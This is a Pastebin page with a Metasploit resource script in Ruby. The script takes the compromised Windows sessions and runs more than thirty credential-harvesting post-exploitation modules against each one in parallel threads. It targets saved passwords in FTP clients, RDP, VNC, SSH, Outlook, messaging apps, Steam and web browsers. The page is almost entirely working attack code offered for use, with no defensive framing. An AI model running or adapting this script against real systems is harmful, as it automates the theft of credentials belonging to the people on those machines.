Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <ruby>
- #find some windows sessions
- sessions = [framework.datastore['POST_SESSIONS']].flatten.map {|n| [n,framework.sessions[n.to_i]]}
- sessions = sessions.compact.empty? ? framework.sessions.find_all {|s| s[1].platform =~ /win/i} : sessions
- user_mods = [
- "post/multi/gather/dropbox",
- "post/multi/gather/filezilla_client_cred",
- "post/multi/gather/pidgin_cred",
- "post/multi/gather/ssh_creds",
- "post/multi/gather/thunderbird_creds",
- "post/windows/gather/credentials/bulletproof_ftp",
- "post/windows/gather/credentials/coreftp",
- "post/windows/gather/credentials/dyndns",
- "post/windows/gather/credentials/enum_picasa_pwds",
- "post/windows/gather/credentials/filezilla_server",
- "post/windows/gather/credentials/flashfxp",
- "post/windows/gather/credentials/ftpnavigator",
- "post/windows/gather/credentials/ftpx",
- "post/windows/gather/credentials/imail",
- "post/windows/gather/credentials/imvu",
- "post/windows/gather/credentials/meebo",
- "post/windows/gather/credentials/mremote",
- "post/windows/gather/credentials/nimbuzz",
- "post/windows/gather/credentials/razer_synapse",
- "post/windows/gather/credentials/rdp",
- "post/windows/gather/credentials/smartftp",
- "post/windows/gather/credentials/spark_im",
- "post/windows/gather/credentials/steam",
- "post/windows/gather/credentials/tortoisesvn",
- "post/windows/gather/credentials/total_commander",
- "post/windows/gather/credentials/trillian",
- "post/windows/gather/credentials/vnc",
- "post/windows/gather/credentials/windows_autologin",
- "post/windows/gather/credentials/winscp",
- "post/windows/gather/credentials/wsftp_client",
- "post/windows/gather/credentials/outlook",
- "post/multi/gather/firefox_creds",
- "post/windows/gather/enum_ie",
- "post/windows/gather/enum_chrome",
- ]
- #run each mod against its sessions
- def run_post_mods(modules,sessions,max_threads=5)
- threads = {}
- print_status(sessions)
- modules.each do |umod|
- mod = framework.modules.create(umod)
- sessions.each do |session|
- mod.datastore['SESSION'] = session.first.to_s #framework.sessions.find {|s| s.last == session}.first
- threads[session[0]] ||=[]
- threads[session[0]] << Thread.new(mod) do |p|
- # p.datastore['SESSION'] = session[0]
- vprint_status("Prepped #{p.name} against #{session.last.sock.peerinfo} in session #{p.datastore['SESSION']}") if p.validate
- p.datastore['ShowProgress'] = false if framework.datastore["RUN_SILENT"] == 'true'
- # Put this run on hold while we go through existing modules in this session
- while (threads[session[0]].map(&:alive?).count >= max_threads ) do
- vprint_error("Awaiting runspace on #{session[1].sock.peerinfo}")
- ::IO.select(nil, nil, nil, 10.0)
- end
- vprint_good("Running #{p.name} against #{session[1].sock.peerinfo} in session #{p.datastore['SESSION']}") if p.validate
- p.run if p.validate
- print_good("#{p.name} on #{session[1].sock.peerinfo} complete")
- end
- ::IO.select(nil, nil, nil, 0.2)
- end
- end
- end
- run_post_mods(user_mods,sessions,5)
- </ruby>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement